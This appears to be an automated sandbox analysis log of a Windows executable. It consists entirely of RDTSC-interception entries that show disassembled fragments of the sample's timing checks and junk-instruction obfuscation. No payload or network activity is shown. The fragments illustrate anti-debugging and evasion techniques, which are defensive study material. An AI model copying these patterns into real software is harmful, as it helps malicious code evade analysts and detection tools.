Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4B23 second address: 8C4B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA07h 0x00000007 jc 00007F4EBC76D9FCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4E2F second address: 8C4E39 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4EBCE5EB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4F5E second address: 8C4F73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C50C3 second address: 8C50C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C50C7 second address: 8C50D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F4EBC76D9F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C50D5 second address: 8C50DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C50DD second address: 8C50EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBC76D9FBh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C54E9 second address: 8C551D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F4EBCE5EB98h 0x0000000d jmp 00007F4EBCE5EB8Dh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C551D second address: 8C5521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5521 second address: 8C552D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C552D second address: 8C5531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C596B second address: 8C598A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB94h 0x00000009 je 00007F4EBCE5EB86h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A675 second address: 89A67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A67B second address: 89A680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5E9B second address: 8C5EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6557 second address: 8C6561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4EBCE5EB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6561 second address: 8C6581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4EBC76D9FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 jbe 00007F4EBC76D9F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6581 second address: 8C6587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6587 second address: 8C658D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C658D second address: 8C65A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBCE5EB91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6707 second address: 8C670D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6B6A second address: 8C6B70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6B70 second address: 8C6B74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6B74 second address: 8C6B8A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F4EBCE5EB86h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6B8A second address: 8C6B9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6B9D second address: 8C6BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6BA3 second address: 8C6BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893AC4 second address: 893ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCCB3 second address: 8CCCB8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD55B second address: 8CD55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD55F second address: 8CD57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F4EBC76D9FCh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jp 00007F4EBC76D9F6h 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D23C5 second address: 8D23D3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89572F second address: 89573B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F4EBC76D9F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89573B second address: 895760 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4EBCE5EB86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f jmp 00007F4EBCE5EB93h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895760 second address: 895766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D17DE second address: 8D17E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D17E2 second address: 8D17E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D17E6 second address: 8D17F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F4EBCE5EB86h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D17F4 second address: 8D17FC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D17FC second address: 8D1801 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1801 second address: 8D1813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1813 second address: 8D1819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1819 second address: 8D1831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBC76DA02h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1831 second address: 8D1836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1836 second address: 8D1846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F4EBC76D9F6h 0x0000000a jnl 00007F4EBC76D9F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1846 second address: 8D184A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D19A4 second address: 8D19AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1F13 second address: 8D1F3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB98h 0x00000007 push ebx 0x00000008 jmp 00007F4EBCE5EB8Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2092 second address: 8D2098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D4161 second address: 8D416F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D416F second address: 8D4182 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F4EBC76D9FEh 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D4182 second address: 8D4186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D78DE second address: 8D78EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F4EBC76D9F6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D78EE second address: 8D7914 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4EBCE5EB8Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7914 second address: 8D792A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F4EBC76D9F6h 0x0000000a jmp 00007F4EBC76D9FCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D00E second address: 88D012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D012 second address: 88D024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4EBC76D9F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D024 second address: 88D028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7FA7 second address: 8D7FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D7FAB second address: 8D7FAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D8381 second address: 8D839E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBC76DA09h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D92C9 second address: 8D92CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D92CD second address: 8D92D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D92D6 second address: 8D9305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB93h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D2B80h] 0x00000012 push eax 0x00000013 jp 00007F4EBCE5EB92h 0x00000019 js 00007F4EBCE5EB8Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA1C1 second address: 8DA1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB223 second address: 8DB231 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAA66 second address: 8DAA6B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DB231 second address: 8DB235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAA6B second address: 8DAA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F4EBC76DA0Dh 0x00000010 jmp 00007F4EBC76DA07h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DBC97 second address: 8DBCF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F4EBCE5EB88h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D1C28h], eax 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F4EBCE5EB88h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 push edi 0x0000004a push esi 0x0000004b pop esi 0x0000004c pop edi 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DBCF7 second address: 8DBCFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC6B2 second address: 8DC775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 ja 00007F4EBCE5EBB2h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F4EBCE5EB88h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov dword ptr [ebp+12473E5Eh], eax 0x0000002e push 00000000h 0x00000030 call 00007F4EBCE5EB92h 0x00000035 jmp 00007F4EBCE5EB96h 0x0000003a pop edi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F4EBCE5EB88h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 mov edi, dword ptr [ebp+122D18F1h] 0x0000005d mov dword ptr [ebp+12445916h], ecx 0x00000063 push eax 0x00000064 pushad 0x00000065 jo 00007F4EBCE5EB88h 0x0000006b pushad 0x0000006c popad 0x0000006d push ecx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DD0C7 second address: 8DD0D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4EBC76D9F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DDB05 second address: 8DDB22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DDB22 second address: 8DDBA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4EBC76D9FFh 0x0000000b popad 0x0000000c nop 0x0000000d call 00007F4EBC76DA01h 0x00000012 mov dword ptr [ebp+122D17FCh], esi 0x00000018 pop esi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F4EBC76D9F8h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 movzx edi, ax 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F4EBC76D9F8h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 movsx esi, ax 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b pushad 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DDBA8 second address: 8DDBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE49A second address: 8DE49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE24E second address: 8DE253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE49E second address: 8DE4F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F4EBC76DA06h 0x0000000c nop 0x0000000d push esi 0x0000000e mov esi, dword ptr [ebp+122D1B2Ch] 0x00000014 pop esi 0x00000015 js 00007F4EBC76D9F6h 0x0000001b push 00000000h 0x0000001d mov di, si 0x00000020 or edi, dword ptr [ebp+122D1BBCh] 0x00000026 push 00000000h 0x00000028 jnc 00007F4EBC76DA04h 0x0000002e mov dword ptr [ebp+122D2846h], edx 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push ecx 0x00000038 pushad 0x00000039 popad 0x0000003a pop ecx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DFF44 second address: 8DFF4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F4EBCE5EB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0FAB second address: 8E1031 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jc 00007F4EBC76D9F9h 0x00000010 movzx ebx, cx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F4EBC76D9F8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f pushad 0x00000030 jmp 00007F4EBC76D9FAh 0x00000035 mov dword ptr [ebp+122D184Ch], eax 0x0000003b popad 0x0000003c mov ebx, 5CC2E4D7h 0x00000041 push 00000000h 0x00000043 mov dword ptr [ebp+122D5866h], edx 0x00000049 xchg eax, esi 0x0000004a jmp 00007F4EBC76DA03h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F4EBC76DA07h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1FD6 second address: 8E1FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1120 second address: 8E1167 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F4EBC76DA00h 0x00000012 jmp 00007F4EBC76DA07h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1FDA second address: 8E2050 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F4EBCE5EB88h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F4EBCE5EB88h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 mov edi, dword ptr [ebp+122D2C20h] 0x00000046 push 00000000h 0x00000048 jmp 00007F4EBCE5EB94h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F4EBCE5EB92h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1167 second address: 8E116D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
